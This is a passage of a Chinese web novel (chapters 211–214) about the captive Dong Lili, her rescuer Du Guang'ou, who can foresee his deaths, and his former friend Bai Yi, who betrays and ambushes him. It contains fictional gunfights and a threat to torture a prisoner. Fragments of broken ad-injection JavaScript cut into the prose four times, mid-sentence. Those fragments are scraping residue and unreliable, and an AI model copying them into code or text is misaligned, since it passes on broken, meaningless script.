而且,目的已经达到,在那种千钧一发的情况下活了下来,这便是她现阶段的目的。那之后,如何复仇,如何让这些人付出应有的代价,她会好好地、缜密地思考,而后,为他们铺就一条悲惨的绝路。 不急于一时。 她一定会做到。 压抑着心中幽暗的怒火,忍受着无法为妹妹报仇的屈辱,董莉莉任那两个精锐摆弄着她,将她拖向通往“牢房”的路。 “等等。”就这时候,白熠突然出声了,他喊住两个精锐,说道,“要关押她的地方不在那个方向。过来,我给你们指路。” 两个精锐的脚下一顿,原地转了一圈,架着董莉莉又往白熠的方向走去。来到男人和黎礼的面前,他们短暂地驻足,等待白熠的指示。 整个过程之中,董莉莉没有看白熠一眼,她连眼皮都没抬,像是完全听不见他的声音,看不见他这个人,也全然不认识他一般。 白熠就这么无声地看了董莉莉片刻,此时,没有人知道他聪慧的头脑在想些什么。 “刚才你避开了黎梦的枪击。”白熠对董莉莉说道,这不是一句问话,而是一个肯定句。 董莉莉没有回应他,她没有心情回答。 顿了顿,白熠低声说道:“夜明的事 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情,我很抱歉。” 董莉莉还是什么反应都没有,她不接受白熠的歉意。 事到如今还说什么?董夜明已经不在了。 她们曾经像家人一样对待他,董夜明甚至比自己更加亲近这个没有血缘关系的大哥,频繁地去他家中拜访,给克拉娜送东西,陪白祁玩耍,教小孩一些能够用来自卫的技巧。 董夜明就像家人一样对待白熠一家,然而,他就是这么回报她的。 一起到这里,董莉莉就为自己的妹妹感到愤愤不平,恨焰难消。 她抬起头来,盯着这个本该死去的男人。记忆里他是一副亲和的大哥形象,然而,此刻,在恨意的加持下,它却只剩了一张虚伪的面具。 她好像突然就看透了白熠是一个怎样的人,突然理解为什么杜光欧曾经总是骂他没心没肺、骂他不是东西。她突然明白过来,他们所说的那个淡漠的白家先生是一个怎样的人,看透了他披在脸上的那层皮,也看透了与他共同经历的美好过去的虚假。 现在,站在眼前的这个男人,才是真正的白熠。 董莉莉看着他,所受的背叛让她的双眼灼烧、身体僵硬。而她毫不吝啬自己的情绪,她要让对方看到,现如今自己对他是如何的失望,是如何的——想要将他和黎梦一并抹杀。她在用眼神传达给对方决裂的信息,告诉白熠,下一次见面,就是你死我活的时候。 白熠回望着他,鲜有地,他的表情露出了一丝空茫。有些扭曲,还有些凝固,像是在看到董莉莉的怒颜之后,因为没有经历过类似的情景,而找不到该换上的面具一般。 男人垂下视线,眨了眨眼,而后,看向远处,指明了一个方向,“先带她去那个军帐,之后等我的通知,再行转移。” 接到了指令,董莉莉身边两个精锐兵开始行动起来。 他们默然经过白熠的身侧,在注视之下,往男人指明的那个营账走去。 事情都结束了,黎礼摒退了聚集在这里的精锐兵,她打了个哈欠,也要离开这个是非之地。 漆黑的天幕之下,一切如潮水般散去。 董家姐妹就像一颗砸进水面的小石子,掀开了阵阵波澜,可那波澜太弱,终究是要停了。 “等一下。” 就在万物归巢之时,白熠突然喊道。 正要离开的黎礼听到他这么说,十分配合地给了正要离去精锐大队们一个手势,让他们留在原地。 “不,不是他们。”白熠面向董莉莉离开的方向,再度说道,“那两个士兵,站住。” 在他的命令之下,架着董莉莉的精锐停了下来。两人三番五次被白熠喊停,但此刻还是毫无怨言地驻足原地,等待男人的下一步指示。 与其说他们在等待白熠的指示,不如说在遵从黎礼的吩咐。在女人没有干涉的前提下,这个白发男人的命令就等同于她的命令。 “转过来。”白熠又说道。 精锐听从他的指令,擒着董莉莉转了个圈,面朝着男人的方向。 白熠盯着他们,脸色有些紧绷,眼睛微微瞪大,一眨不眨,“俘虏右手边的那个士兵,把你的头盔摘了。” 211. 突然的重逢1 他已经直呼董莉莉为俘虏,像是在对待一个完全不认识的陌生人,用疏离的称呼指代对方。 然而,此刻,董莉莉却没有心思在乎这些细枝末节。 她低着头,攥紧了拳头,在这凛冽的空气中,寒意笼罩着身体,可她手心却出了一把汗。 ……被发现了? 怎么回事,他们应该没有露出破绽,白熠是怎么发现的? 她还没想清楚,就听自己右手边的精锐哼了一声,音似不屑。 那声音,她无比熟悉,那是一个很久未能闻见的音色。就在刚才,在黎梦开枪的前一刹那,也是这个声音告诉她:“没事,交给我,不用害怕”。 她相信了那个声音。在黎梦的枪口迸发出火星的一瞬间,头发突然被人抓住,猛地向后扽去。她没有抵抗那股力,而是顺着它一下子弯折自己的脖颈。最终成功仰头装死,逃过一劫。 那时候,她怎么也想不到,在生命的最后一刻,向其提问的那个人,居然真的响应了她,就那么降临在了她的身边。 当下,周围十分安静,连一根针掉在地上的声音都能听见。 董莉莉右手边的精锐没有按照白熠所说摘掉头盔,而是维持着现状,对男人开口,“果然,没办法在你眼前蒙混过关。” 一众人并不明白发生了什么,只有白熠的面色十分震惊。 “你怎么会在这里……”白发男人喃喃道。 在他一旁,黎礼听见了那个精锐的声音之后,神色也渐渐变得僵硬起来。她看向白熠,简短地问:“是他?” 白熠没有回答,但他的表情说明了一切。 “抓住他!”黎礼像是终于反应过来什么,突然大声说道,“那是杜光欧!” 一声令下,精锐纷纷举枪,瞄准了他们。 董莉莉只觉得胳膊突然被人往后一拽,右手边的精锐挡在了她的身前,将她护在身后,“别离开我,放心,我不会再像以前一样。我能救你。” 董莉莉并不明白那句“不会像以前一样”是什么意思,但是,可以确定的是,她得到了一个承诺。 战局瞬息万变,还未等这个承诺在她的心里激起一丝涟漪的时候,精锐们开枪了。 他们十分地训练有素,一排接一排轮射,子弹如连绵不绝的雨水一般袭来。 这么多人一同朝他们开枪射击的瞬间,董莉莉以为自己要死了。这个时候她还在想,黎礼居然记恨杜光欧到这个份上,浪费这么多子弹也要确保杀死他。 但下一刻,这个想法便不复存在了。 子弹根本打不中他。 枪手开始轮番对他们展开攻击的时候,杜光欧护着她,快速地以另一个挟持董莉莉的精锐作为掩体,向最近的营帐撤离。 那些子弹像是总也跟不上他们的脚步似的,在他们的脚边砸出一个个深坑,擦过他们的耳畔、身旁,然而,无论如何,就是无法击中他们。 就像在跳一支危险的舞步一般,两人紧挨着彼此,在枪林弹雨中翻飞。 就像是在做梦一样。这会是真的吗?董莉莉不禁在内心发问。 自己居然还活着,不仅活着,还见到了想见的人。 杜光欧带着她四处闪躲,与地面、营帐发生了许多摩擦,留下见血的痕迹。一切的速度是那么的快,她眼前的场景一个接一个,有些时候甚至分不清楚自己在哪,也不知道敌人在什么方向,但不可思议地,她觉得自己是安全的,这份安全感可能是来源于那句承诺,也可能是因为和他在一起,仅此而已。 在这种情况下会感到安全,她觉得自己真的是要疯了。 又是一声太过清脆的枪响,突然,杜光欧的动作停了下来,带她躲在一个营帐的侧面,男人半蹲了下来,摘掉了自己的头盔,一张熟悉且怀念的脸庞出现在了董莉莉的面前。 月光之下,他清冷的目光遥望着枪响的方向,呼吸喷出层层白气,模糊了那张刀削一般的脸庞。 她已经记不清楚,自己已经有多久没有见到这张脸了。上一次还是在甾染,杜光欧和燕家的二哥燕戎真穿越了白鸣谷,那时候她和葛马追着他来到了谷道前,却只能与他遥遥相望。 然而,那也只是一瞥而已。再上一次见到杜光欧,已经是他们离开血皑、去往牧盟的时候。那个时候,杜光欧时常沉默无言。他刚刚失去了一切,兄长、父亲、城市、赖以生存的一切,并将所有的责任扛在自己的肩上,选择一个人去走接下来的路。那个时候,便是因为他的这种想法,他们分离了。 分离了,直到今日,才在这个地方再次相遇。 董莉莉盯着对方,虽然男人的模样没有太大的变化,但是,他的眼睛里面多了一些东西,曾经的迷茫已经消失不见,他像是知道了很多,懂得了很多,经历了很多,也看透了很多一般,灰色的眼睛更加深邃,也更让人猜不透他在想什么。 枪声弱了下去,脚步声响了起来,精锐兵丢失了他们的踪迹,开始了大范围的搜寻。 杜光欧这才收回张望的视线,目光落在了眼前的女人身上。上下打量了一番,神色好像有些触动,可是他却合上了眼睛,将那些跃动的情绪掩盖了起来。 “说实话,我不应该在做这种事,明明有更重要的……”他自言自语似的说道,又自嘲般地笑了一下,“就当我有病吧。” 莫名其妙地说了这么一番话后,杜光欧从口袋里掏出了一个木匣子,将它打开,从里面拿出了一个白色的扁状物体,它只有指甲盖那么大,看上去像是一种药片。 男人看了它一眼,下一刻,他的表情突然有了些变化,陷入了某种沉思一般,紧紧地皱紧了眉头。又过了一阵子,他像是得出了什么结论,将它收了起来,对董莉莉说道:“莉莉,你听好,我告诉你接下来怎么做。这周围都是他们的人,想逃出去,得用一些策略。” 董莉莉紧紧地抓着对方的手臂,一点也不想放开,“我们藏起来吧,光欧。” “这样会被他们找出来,没用的。”杜光欧抬起头来,警惕地看了一圈周围,而后对董莉莉说道,“接下来,我会引发一场骚乱,你趁乱逃出去。” 董莉莉听他这么说,心提到了嗓子眼,“你呢?” “虽然不知道为什么,但这些人想抓我,而且已经做足了准备。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”杜光欧说道,推测道,“我已经暴露在他们的面前了,不抓到我,他们不会善罢甘休吧。” 董莉莉皱着眉头,她说道:“不行,光欧,我们两个一起走。” 杜光欧:“不太可能,我试过了。” “试过?” “……白熠在这里。”杜光欧望着敌军士兵走频繁走动的方向,说道,“他知道我可以——知道我能做到什么程度,他有对付我的办法。” 董莉莉没太理解对方在说什么,但杜光欧无疑还在坚持自己的想法,而那是她难以接受的,“还是你先逃吧,我没关系。他们本来也没打算杀我,只是想要将我关押起来……” 杜光欧转过头来,凝望着她,说道:“刚才事发的时候,我在现场,看到黎梦做了些什么。有那个疯子在,我不可能让你留在黎军中,黎礼早晚有一天管不住她,你会没命的。” 董莉莉张了张嘴,缓慢地摇着头,满目忧愁地盯着杜光欧,“不行,我不可能丢下你,我们好不容易……” 杜光欧晃了晃董莉莉的肩,像是在恳请她,也像是想要她清醒、振作一些。嘈杂声离他们越来越近了,他的声音也只好随之放低,“相信我,莉莉,我不会有事。就算被他们抓住,我也逃得出来。就像我能从血皑王城的包围中逃出来一样,我有自己的手段。你不是还要为董夜明报仇吗?为此,第一件要做的事情,就是活下去。就像我当初在血皑王城里做的那样。” 活下去,董莉莉心里重复着这几个字。 是啊,活下去。 刚才,被黎梦的枪口指着,危在旦夕的时候,她在心里问杜光欧会怎么做的那一瞬间,自己也是给出了这个答案。 她要做的是……首先,活下去。 董莉莉咬着牙,感觉胸腔里一阵不情愿的沉闷。但是,看着杜光欧那副向她祈求的模样,又感觉到心在撕扯。纠结了半晌,她低声说道:“那你答应我,一定要没事。” “我答应你。”杜光欧说完,突然,他一把抱住了她,紧得仿佛永远也不想再放开一般,可是短暂的一瞬过后,他还是松开了双臂,“好了,你看准时机,从没人的地方走。” 杜光欧站起来,把头盔戴了回去,目光决然,往嘈杂袭来的方向头也不回地走。 余温在身体上残留,董莉莉盯着对方的背影,想要喊出挽留的话。但这时候,有一种苦涩的滋味填满了口中,让她无法说出一个字。 那是悔恨的感觉。如果不是那天她毅然决然要来救白家母子,如今的一切都不会发生。 白家母子并没有救出来,妹妹也死了,杜光欧也因为要掩护她撤退而不得不投身残酷的战场。 这些都是因为她,因为她做了一个错误的决定,只顾自己的感受,而把身边所有的人都牵连了进来。 她掐住自己的大腿,鼻子一酸,两滴豆大的眼泪就这么啪嗒啪嗒砸了下来。 ——哭什么?不准哭!你有什么资格哭? 眼泪还是止不住地流下,她颓然地坐在地上,用手臂不断锤击身下坚硬的土地。 恨,好恨。既恨那些仇人,也恨无力的自己。 212. 突然的重逢2 这时候,远处响起了一阵枪声。她抬起头,看到营地上方的黑夜在时不时闪烁,那是被接连的火光所照亮的。 显然,杜光欧已经重新回到了敌人的视野之中,为了吸引注意、给她创造逃离的条件,而在生死之间奔波。 董莉莉站了起来。尽管她一步也不想走开,全身都在叫嚣着不要走,去那个人的身边,无论发生什么,都不要离开他。但是,她还是勉强站起了身,背部佝偻着,抬不起头来,但是,她依然尽力一步步往远离骚乱的地方走去。 就这么走,直到离开这里,然后活下去,自由地活下去。只有这样,她才有机会去做别的,无论是为已死的妹妹报仇,还是和杜光欧重逢,或者其他任何事。 士兵在集结,他们在往杜光欧所在的方向赶去。 董莉莉与他们背道而行,感觉自己的心在滴血。 她有些麻木地走,头也不抬地走,不去看,不去想。只有走出了这一个噩梦般的军营,才能看得见那之后的希望。 就这么不知走了多久,有些突然地,一双鞋尖出现在了视野之中。 有人站在身前,拦住了她的去路。 她抬起头来,看到了一个熟悉的身影。那人有着白色的长发,瘦弱的身躯,以及单薄的表情,月色之下,他就像个没有生命的雕像一般立在那里。 那是白熠。 看到他的一瞬间,顿时,先是一阵迷茫的情绪从心里升起来,而后,是滔天的怒意,她开始颤抖,宛若一个冰窖中的将死之人突然被投入了沸水里。 董莉莉想起来这个男人不久之前是如何对待她们姐妹的,他就站在敌人的身边,冷眼看着黎梦开枪杀掉了她的妹妹,还为黎礼出谋划策,想要通过挟持她来逼杜光欧现身。 她捏紧了拳头,眼里是罪大恶极之人。宛如看到了自己一生最大的仇敌,她想也没想,冲了上去,一手抓住男人的领口,一拳打在了他的脸上。 白熠没有躲,硬生生接下了这么一拳,即便董莉莉的身高和他差了大半个头,而她也并非什么习武之人,但是,女人的这一拳还是打得他身子骨歪斜,颤颤巍巍地,晃了好几下才站稳。 董莉莉还想再来上一拳,但是,突然,两侧冒出来的精锐兵将她一下子擒住了。 白熠摸了一下自己被打的脸,却是露出歉疚的表情,“抱歉,莉莉,我不能让你走。没有你,我抓不住他。” 董莉莉瞪大了眼睛,说道:“你在这里埋伏我!?” 白熠坦白道:“其实,我一开始就没有去追他,我知道追不上。追上了,也很难抓住,他有戒心的时候,是很难抓的。所以,我一直跟着你,等他离开你。你们不可能一直一起行动,他总会放开你。而我们制造了一个他认为安全的时机。” 董莉莉盯着他,怒火蹭蹭往上冒。这算什么,这个男人所有的智谋,居然全都用在对付他们上。 “你在利用我……” “是的。” 再度沦为一个俘虏,董莉莉觉得屈辱与不甘。杜光欧所做的一切岂不是都白费了。 她愤恨的说:“我曾经真的看错你了,你居然是这种人!” 白熠深吸了一口气,张张口,却没说出什么来。他转而命令精锐道:“我们去找杜光欧,但是不要离他太近。” 董莉莉被擒住拖着走,她挣扎,但是,却不敌两边精锐兵的力气。她痛恨地盯着白熠的背影,“从什么时候开始,你站在了黎礼那边?!” 白熠没有拒而不答,说道:“从我知道了一些事情开始。” “你为什么要帮她,她害死了光欧的父兄,夺走了血皑城,让我们流离失所,甚至俘虏了你的妻儿……你到底为什么要帮她!?”董莉莉爆发般地喊道。 白熠走在几人的前面,未曾回头,“……因为她要去做的事,比其他所有都重要。” “什么事?”董莉莉瞪着她,她几乎从来没有感觉到自己如此暴怒过,“她的事,什么事?是忙着拿下牧盟,再去征服摄文,是攻破所有南北两地的文明,最终统领这片大地,还是灭绝所有平凡的子民,让百姓不得安生,又或者是让生灵涂炭,满足她毫无意义的征服欲——还有吗?” “都不是。” “那是什么?!”董莉莉喊道。 这时候,白熠低下头,两只手伸到前面去,一只握住另一只的手腕,他垂眸,没有回答董莉莉的疑问,只是问她:“莉莉,你觉得,我们是什么?” 董莉莉听到这个问题,但是,完全思考不进它的含义,不知道白熠为什么这么问,也不想知道,她只想知道自己问题的答案,“我问你黎礼到底要去做什么,值得你背叛光欧,背叛我们,连夜明你都见死不救。到底有什么事情,值得你这样做,啊?白熠!你告诉我,为什么!?” 白熠回头深深看了董莉莉一眼,不再解释什么。 他们离枪声越来越近,一股硝烟的味道传进鼻翼,董莉莉向前处看去,只见不远处是一片破烂不堪的营帐群,地上是沆沆洼洼的弹痕,一群枪兵围成了一个圈,中央包围着一个形单影只的人。 那是杜光欧。 他只身一人站在嵌满了弹片的黑土之上,看上去毫发无伤。 大将军默龙不知何时加入了这场战局中,在前方指挥着众军对包围圈中的人进行无间断射击。 外周,在一个木箱搭起的瞭望台上,放着一把不知从哪搬来的木椅,黎礼端庄地坐在它上面,悠然地观察着包围圈中的情况。 白熠命精锐压着董莉莉来到近处,停在了黎礼下方。女人注意到了重新被抓回来的董莉莉,模样风淡云轻,像是已经知道发生了什么一样。她没理会董莉莉充满恨意的眼神,只是仰仰头,用下巴尖指了指场地中央的人,对白熠说道:“他好像比之前在王城那时要强。” 白熠道:“毕竟他已经使用了那个能力那么久,也该更熟练地掌握它了。” “这样下去,他会突破我们的防线。子弹总有用完的时候,但是他能一直耗下去。”黎礼说道,目光俯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 视下来,盯着男人,“白熠,给我个解决他的方案。是你说有办法抓他。” 闻言,白熠往董莉莉的方向看过去,这一个瞬间,他的神情变得异常冷漠,他张口,对一旁的精锐兵说道:“士兵,把你的枪给我——” 他话没说完,在那枪林弹雨的场地中央,突然传来了杜光欧的怒吼,“白熠,你最好给我老老实实什么也别做!” 白熠一愣,朝场地中央的方向望过去。在外围枪兵的缝隙之间,能看到那个仍穿着黎军红白制服的男人,那身甲胄已经破破烂烂,可是,他的身上却没有一丝血迹。 盯着他,白熠脸上出现困惑的神情,他自言自语一般说道:“奇怪……” 黎礼接起他的话,问道:“哪里奇怪?” 白熠道:“他好像知道我想做什么。” 黎礼问:“你想做什么?” 白熠道:“一些不太好的事。” 黎礼:“具体点。” 白熠:“比如把子弹送进俘虏的身体里,不至于致命,但会让她很痛苦。” 董莉莉在一旁听着,只觉得身体里升起一股恶寒,像是第一次认识这个名叫白熠的男人一般。 “她受到重创,杜光欧很有可能就会露出破绽吧……”白熠说道,一手挡在自己的嘴前,模样凝重地分析着,“但是,他似乎猜到了我要做什么。刚才的交谈应该没有被他听见,而且我根本没说要具体做什么,可他却用语言威胁我……他猜到了我想做什么,所以……不,到底是他猜到了,还是……” 白熠嘀咕着,说着说着,又变成了自言自语。 “你刚才说的重伤俘虏也是一个办法。”黎礼颇不以为意地说道,“实在不行,就这样做。” “再等等,我就快想明白了。”白熠目光紧盯着场地中的人,看着对方敏捷地闪避着那些朝他飞去的子弹。 而董莉莉也不由得向包围圈看去,每一刻,都是那么得惊心动魄。 场地上,被枪指着的那个人,像是知道所有子弹的路径一般,无论从什么角度射击,从他的身前还是身后,从他的正面还是死角,都无法伤他分毫,偶尔有轻微的擦伤,但那些对他的性命无法构成任何的威胁。 就这么观察了一阵子,突然,白熠似乎是想通了什么,眼睛瞪大,一眨不眨。他大梦初醒一般,声音像是落了地,确信又低沉,“原来如此,我知道了。” 黎礼问他,“你想明白什么了?” 白熠盯着杜光欧,目不转睛,说道:“虽然不知道他是怎么做的,但是,他在我们看不到的地方使用他的能力。” “这我知道。”黎礼说,“正常人被这么多枪口包围、射击,早就死了。而他在我们眼里之所以还活着,那是因为在看不到的地方,他已经经历了无数次死亡。” “不光是这样。”白熠说道,“那是他能力最基础的用法,是一种被动应对的策略。然而,就像我刚才说的,他知道我想做什么。他已经掌握了主动使用那种能力的方式。” 213. 突然的重逢3 黎礼看向白熠,身子向他微微侧过来,说道:“你得解释得更清楚点。” 白熠盯着杜光欧,一刻不停,像是想要从他的身上发现什么端倪一般,“他知道我会做什么,我猜测,是因为他看到了未来会发生的事。” “未来?”黎礼一脸不相信的模样。 “是。” “这怎么可能呢。你不说那种能力只是单纯让他起死回生吗?” “起死回生,然后退回‘过去’。” “对。”黎礼道。 “假设我们现在处在‘过去’这个时间点,那么,他在那个死亡分支上所经历的一切,对我们来说不就是未来吗?” 白熠这么一问,使得黎礼陷入了沉思。 董莉莉在一旁沉默地听着,这两个人的交谈没有回避任何人,所以她听得一清二楚,可是,却无法理解他们交谈的内容。 什么叫杜光欧已经经历过无数次死亡,这是什么意思?是一种夸张的比喻,还是…… 起死回生又是怎么回事? 这些内容董莉莉听了,却是一头雾水。 黎礼打起了一些精神,神情认真地说道:“也就是说,在他的视角,未来可能有很多条分支,每一个分支的末尾都对应了他的死亡。而最后,只有这条他存活下来的分支,能被我们所真正地知晓。” 白熠肯定道:“没错,只有主命线会成为真实。” “主命线?” “……曾经我和他为了定义这些现象而起的名词。” 黎礼沉吟了一声,没说什么。她一条胳膊驻在座椅扶手上,撑着自己的脸,“……所以,当他已经经历过了数次死亡,站在通往这些死亡分支的路口时,他能看到那些分支上会发生的事情。而那些事情,对他而言,就是一个个充满了不同可能性的未来。” “只要遵循差不多的模式,未来便是可控的,他完全可以通过作出不同的行为,选择他想要的那个未来。” 白熠说完这段话,他与黎礼两人的视线交汇在一起。 女人难得皱起了眉头,露出一副沉思的模样,“也就是说,接下来我们打算做什么,有很大的可能性,他都知道。” “是。” “而他会根据我们的未来行为去修正自己当下的举动……”黎礼推论道,脸上是复杂的情神,“这样下去,我们要怎么赢他?” 白熠断开了与对方交汇的视线,它再度回到场地中间的人身上,“也不是没有办法。既然已经知道他的能力能做到什么程度,那么,就先顺其自然,再找到破绽攻破。” “怎么攻破?”黎礼盯着他问,“如果说他知道将来一段时间里的未来,就意味着我们是先行的那一个,他永远可以在后手观察,总能有针对我们的办法。” “我清楚他身上拥有的是一种怎样的能力,这种可以让他看到一段未来的办法,绝对不是随随便便就能发动。想要控制自己的死亡,他一定需要什么媒介、或者契机……”白熠说到一半,蓦然停了下来。他审慎地盯着杜光欧,眼睛也眨也不眨,像是不敢放过任何一个瞬间,就这么半晌过去,突然说道,“原来如此。” 黎礼问:“你又知道什么了?” “我知道怎么破解他的能力了。”白熠道。 黎礼:“怎么做?” 白熠静思了片刻,对转头黎礼说道:“接下来,我会接近他,同时让士兵对俘虏开枪。不过,不一定能成功,因为杜光欧知道我会怎么做,他会阻止我。你就在这里看着,继续做你打算做的事,不管我身上发生了什么,别管。当我们足够接近的时候,让士兵暂时熄火,那之后,等我的信号再发起总攻。” “发起总攻有什么用?如果还是被他预料到的话……”黎礼道。 白熠道:“我发出信号,就意味着,已经解除了他新掌握的棘手能力。” 黎礼一顿,扬眉,说道:“……好吧,那就看你的了。” 董莉莉听到这里,就算不太理解他们话语中的一部分内容,但也能明白过来,他们打算对杜光欧做些什么。她抻长了脖子,以自己最大的声音,冲那个场地之中的人喊道:“光欧,他们打算——唔唔!” 然而,只是说了几个字,身边的精锐兵突然捂住了她的嘴。 白熠给那两人精锐一个跟上来的手势,自己则往包围圈的内部走。 董莉莉发出一声声闷在手掌下的叫喊,想要提醒杜光欧警觉。但是,她没办法清晰地喊出字句,无法警告对方白熠在盘算着什么、想要针对他所谓的能力做些什么。 刚走到场地边缘的时候,白熠的步伐慢了下来,继续向场地的中央靠近,他的接近几乎是试探性的。然而,就是这么无声无息地走了几小步,身陷的战场杜光欧却突然注意到了他,投来了警告的视线。 白熠顿足,表情略有所动,脚下并没有停顿,往焦灼的战场中间走去。 与此同时,杜光欧突然拔出了他身侧的剑,那把银白的剑已经挂在腰侧许久,像一个装饰一般,而此刻,他终于把它拔了出来,仿佛是个认真起来的信号。 场地上的枪声停歇了片刻,就像是突然所有的枪支都进入了换弹的时间,出现了一个小小的停顿。便是在这个间隙之间,杜光欧猛然朝白熠的方向冲了过来。 白熠没有闪躲,也没有命令士兵保护他,只是盯着冲过来的故友,眼睛一眨不眨,低声地自言自语,“好了,让我看看你的破绽……” 董莉莉拼命地挣扎起来,她听到了白熠的话,尽管不明白那背后代表了什么,但一定不是什么对杜光欧有利的事。她喊叫着,踢打着,想通过这种方式让杜光欧警觉,让他不要那么轻率地靠近,但是,视野之中,对方还是义无反顾地冲了过来。 就在距离极度接近的时候,外周的枪声再度响起,一颗子弹打在白熠和杜光欧之间的泥地上,逼迫进攻者停步。 杜光欧猛然驻足,表情不善地盯着对面的白发男人,他张口说道:“我知道你在想什么,白熠,要是你真敢动手,今天我会让你死在这。” 白熠问道:“我在想什么?” 杜光欧板着脸,阴沉得仿佛火光也照不亮,“如果你敢对莉莉做什么,我会先砍下你的双手。” 白熠眨眨眼,表情有些难过,“我怎么会想要对她做什么?她几乎是我妹妹一样的人,光欧,你也把我想得太无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情了。” “你做的事和你的话截然相反。”杜光欧道,声音低沉,像在暗压着无尽的怒意。 “我做的事……你是指把她抓起来吗?”白熠道,摆出一副不明所以的模样,“她可是深入了敌营,能勉强保下她的性命已经很不错了。” “你的意思是,我还要感谢你,是吗?” “如果你愿意表示感激,我当然很乐意接受。” 杜光欧微微压低了身子,握紧手中的剑柄,“虚伪。” 白熠无所畏惧,“我们半斤八两。” 不知为何,这句话好像刺痛了男人一般,他皱起眉毛,眼神中有一丝愤恨。下一刻,他不再与白熠交谈,猛然冲来,但是,一声枪响又将他逼退。于是只好在外周徘徊,寻找突破的时机。 而在这个过程中,白熠一直紧盯着杜光欧,就好像想要和对方来上两招似的。然而,以他的体质,即便看到了杜光欧打算怎么攻击,也没有那个反应速度和力量去阻止。一个病入膏肓的弱者,在战场上根本没有作战能力,闻着那些血腥味就该倒下去了。 杜光欧再度从右侧发起攻击,可外围那些枪手经过长时间的训练,攻击十分精准到位,又将他逼退。然而这次,他没有退得太远,叮一声,用剑身挡开了一枚关键的子弹,身影只是稍稍避开,脚在地上拧了一个旋,而后,突然向董莉莉的方向扑去。 董莉莉见他冲过来,发出唔唔的声音,身子也开始猛烈地挣扎起来。 就在这个时候,白熠突然对挟持着人质的精锐下令道:“开枪!” 两名精锐领受了命令,毫不犹豫地执行起来,他们将董莉莉猛然扣在地上,两杆枪口指向了她的脑袋。 而此刻,杜光欧离他们还有一段距离。 只听两声枪响,比以往每一次都要尖锐、迅速。 场地中央,在那一片杂乱的弹坑中,董莉莉趴在地上一动不动,而下一刻,她身边两个精锐突然倒了下去,黑红色的血路从他们的身下蔓延出来,流进了大地之中。 几米开外,杜光欧放下了手臂,那只手里握着一把枪,枪管很短,通身漆黑,棱角锐利,刚才千钧一发之际,它接连爆发两次枪响,将那两个精锐送去了死亡的彼岸。 白熠盯着对方的身影,嘀咕道:“果然还藏了东西。不过,连发两次?那不是外部流通的制式……” 下一刻,杜光欧继续朝董莉莉跑来。 与此同时,白熠也反应过来一般,拽起一旁地面上的女人,将她挡在自己身前,像是想要通过这种方式避免杜光欧对他开枪射击。 杜光欧盯着他,眼神犹如鬼魅一般。外周精锐朝他开枪,他的身影一闪,用剑身挡开一二,再度在那些极速飞来的子弹间穿过,逼近熟知的两人。 白熠擒着董莉莉,停在原地,像是在等待什么一般,没有选择移动或者后退。 董莉莉挣扎了一番,和刚才那两个精锐抓着她的时候不同,她明显感觉钳制自己的力道变弱了。但因为之前和精锐的对抗而流失了不少力气,此刻只能与身后的人势均力敌地僵持。看到杜光欧越来越近的身影,她朝他喊道:“光欧,小心,他在盘算着什么!” 214. 突然的重逢4 他们的距离已经足够近,近到外周的枪声都停了,那些枪手似乎不愿冒着风险开枪,怕背负一个误伤的罪责,于是把那棘手的男人留给白熠自己去解决。 在极近的距离,杜光欧听到了董莉莉的话,愤怒又不屑地问道:“他还能盘算什么?不管什么我都已经知道了……!” 他说完,俯下身子,一个暴冲,抹消了最后这点距离。他精准地掐住了白熠的脖子,借着冲劲,猛然将他和董莉莉分开,牢牢制服在地。 白熠仰面摔在地上,咽喉被挤压,表情十分痛苦。他两只手抓住杜光欧的胳膊,把他往上推,可却好像一点力气也没有,根本无法移动分毫,被那只手钳制着,脸上越憋越红。 杜光欧的手还在下压,目光愤恨得像是现在就要杀了他一般,他将剑一把甩开,紧接着,把枪也收了起来,一手钳制着白熠,另一只手向自己上衣的内侧掏去。 董莉莉从地上站起来,捡起被杜光欧扔远的剑,以防等下还要用到它,就算不用,也不能让这把有其它意义的武器落入别人手中。 她向周围看过去,一圈的枪手都停了下来,这片布满了弹坑的硝烟之地,此刻变得异常安静。 便是在此刻,她听到杜光欧咬着牙,向他身下的人发出质问。 “果然还是想问,虽然问了也没有意义。你们这些‘个体’单纯就是些……而这之中又属你无情得尤甚!”他一把扯出衣袋里的木匣,略松开钳制的手,以便对方开口说话,“你到底在想什么,嗯?白熠,做这些——装死,背叛我们,帮那个女人,甚至对莉莉动手。你脑袋里到底在想什么?” 白熠被憋得满脸通红,但是,他还是勉强挤出了一个笑容出来,“我在想什么,你不是说,你知道吗?” 杜光欧打开那个木匣子,白色的药片露了出来,“我会让你说。” 白熠盯着对方,模样游刃有余,像是准备好了什么一般,“那你问。只要你问,我什么都会告诉你。” “但愿你真有这么配合。究竟你这毫无人性的心脏里装着些什么,很快就——”杜光欧说着,突然,声音蓦然停顿。他的眼睛大睁,像是突然接收到了什么震天的消息一般,拿着木匣的手停在半空,甚至有些颤抖。他盯着白熠,整个人仿佛僵住了。 白熠眨了眨眼睛,片刻后,像是明白过来了什么。尽管他什么都还没有解释,却在此时问道:“刚才我说的这些回答,你满意吗?” 杜光欧表情一片空白,动了动嘴唇,从里面蹦出了几个字来,“你、知道我是——” 啪! 他没能说完。突然,白熠伸手,用了十足的劲,将他手中的木匣打飞了。 这一甩,用了非常大的力气,那匣子本来就又轻又小,一下子飞去了很远,在地上滚了半天也停不下来,白色的药片甩了出去,不见其踪。 杜光欧看着那消失不见的药粒,短促地深吸了一口气,而后,视线僵硬地转移回白熠身上,道:“你……刚才在演我?” “接下来,才是短兵相接,性命相见的时候了,光欧。”白熠笑着道。紧接着,他脸色一变,卯足了劲喊道,“就是现在!” 枪声响起,扫射一般略过他们所在的地方。 杜光欧猛然从白熠的身上撤离,如果再晚走一步,他就会变成一个筛子。枪声跟着男人的脚步而去,他再度吸引走了全部的火力。 白熠在刚才的一瞬间抱住了头,此刻毫发无伤,那些枪手实力很强,根本不是因为怕误伤而不敢开枪,而是一直在等白熠的信号。 白发的男人地上站起来,往一旁跑去,从地上捡起来了些什么,而后离开了这个战场。 现在,他们又被困在这之中了。 